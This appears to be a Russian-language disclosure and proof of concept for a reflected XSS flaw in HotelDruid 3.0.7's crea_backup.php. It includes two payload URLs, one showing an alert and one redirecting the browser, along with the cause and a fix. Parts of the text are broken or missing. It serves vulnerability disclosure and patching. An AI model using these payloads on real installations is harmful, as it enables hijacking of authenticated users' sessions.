
Proof-of-concept уязвимости отраженного XSS в HotelDruid 3.0.7, демонстрирующий выполнение произвольного JavaScript через параметр ripristina_backup в crea_backup.php.
Уязвимость межсайтового скриптинга (XSS) в DigitalDruid HotelDruid v.3.0.7 позволяет злоумышленнику выполнять произвольный код и получать конфиденциальную информацию через параметр ripristina_backup в конечной точке crea_backup.php
Злоумышленник может обмануть аутентифицированного пользователя, заставив его посетить специально созданный URL, который вызовет выполнение вредоносного JavaScript в его браузере. Возможные последствия включают:
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup=%22%3E%3CscrIpt%3Ealert%28%27Huy%20Vo%20Found%20This%20Vulnerability%27%29%3B%3C%2FscrIpt%3E&dati_conn=attuali&mantieni_anni=1
Результат: Всплывающее окно с сообщением «Huy Vo Found This Vulnerability» подтверждает успешное выполнение XSS.
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup="><scrIpt>window.location.href='https://www.facebook.com';</scrIpt>&dati_conn=attuali&mantieni_anni=1
Результат: Браузер автоматически перенаправляет на Facebook.
HotelDruid — это система управления объектами недвижимости с открытым исходным кодом, используемая для управления бронированием, номерами и выставлением счетов в отелях, гостиницах типа «постель и завтрак» и других предприятиях гостиничного бизнеса. Она основана на веб-технологиях, обычно устанавливается на локальных серверах и доступна через браузер. Учитывая ее веб-интерфейс и административный характер, надежная безопасность имеет решающее значение — особенно для аутентифицированных функций.
Конечная точка crea_backup.php обрабатывает параметр ripristina_backup без санитизации или кодирования, напрямую отражая пользовательский ввод на странице. Это позволяет злоумышленнику создать вредоносный URL, который внедряет произвольный JavaScript на страницу, отображаемую для аутентифицированного пользователя.
ripristina_backupcrea_backup.phpid_sessione)ripristina_backup.htmlspecialchars() в PHP для кодирования символов < и >).